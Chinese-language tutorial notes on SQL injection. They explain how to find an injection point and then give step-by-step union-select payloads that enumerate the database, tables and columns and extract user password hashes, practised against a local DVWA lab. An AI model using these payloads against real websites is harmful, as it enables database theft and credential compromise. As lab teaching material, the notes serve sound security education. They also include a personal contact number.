Bootstrap

拿到一个网站,怎么判断该网站是否存在sql注入漏洞?

漏洞挖掘 漏洞利用 修复漏洞

 sql注入漏洞、文件操作漏洞、xss、rce、逻辑漏洞

反序列化、、、、

 sql注入漏洞: 网站的数据库 脱裤 拖取网站数据库

 数据库基础:

 数据库基本结构:数据库 -- 数据表 -- 数据列 -- 数据

 sql语句:select * from 数据表的名称 where 数据列的名称=1

 web基础:

 https://www.aaa.com/index.php?id=1

 url:统一资源定位符

 域名:www.aaa.com

 ?id=1 请求id为1的内容 ? get请求 post请求

 select * from 数据表的名称 where id=1

 拿到一个网站,怎么判断该网站是否存在sql注入漏洞?

 1.找交互点 网站跟数据库进行互动的地方 url 搜索框 登录框

 2.找注入点 '

 看回显结果,回显结果不正常显示,就说明这个位置是一个注入点

 如果一个网站存在注入点,那么说明该网站存在sql注入漏洞

 int类型 整型 where id=1'

 char类型 字符型 where id='1''

 3.漏洞利用

 ①手工注入

 (1)判断注入类型 and 1=1 and 1=2

 1 and 1=1 and 运算符 真 and 真 真 就会正常显示1的内容

 1 and 1=2 真 and 假 假 不正常显示

 看回显结果,如果回显结果不一样,则为int类型,那么后续的语句正常写

 反之,回显结果一样,说明是char类型,那么后面的语句 都要加上 ' 闭合 # --+ 注释

 ?id=1和2 1 和 2 两个人

 int类型 整型 where id=1和2 1 和 2 两个人

 char类型 字符型 where id='1' order by 1#' 一个人 1和2

 (2)判断列数 order by 二分法 列数为2

 1' order by 1#

 (3)看回显位置 union select 联合查询

 1' and 1=2 union select 1,2#

 (4)查询数据库名称 dvwa

 1' and 1=2 union select 1,database()#

 (5)查询数据表的名称 guestbook users

 1' and 1=2 union select 1,table_name from

 information_schema.tables where table_schema='dvwa'#

 information_schema //数据库的一个名称

 tables //是information_schema下面的一张表

 (6)查询数据列的名称 user password

 1' and 1=2 union select 1,column_name from

 information_schema.columns where table_name='users'#

 (7)读取数据 5f4dcc3b5aa765d61d8327deb882cf99 md5 撞库

 1' and 1=2 union select 1,password from users#

 1' and 1=2 union select 1,concat(user,'~~~',password) from users#

 admin5f4dcc3b5aa765d61d8327deb882cf99

 qq:1191674313 郑渊

 ②工具注入 脚本小子

 搭建网站:

 服务器 --> 操作系统 windows Linux、

 中间件 apache nginx iis tomcat、、、

 数据库 mysql sqlserver access 、、、

 源码

 PHPstudy 一键部署网站

 dvwa 靶场

 访问:打开浏览器 127.0.0.1/dvwa-master

 默认的账号密码:admin password

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

;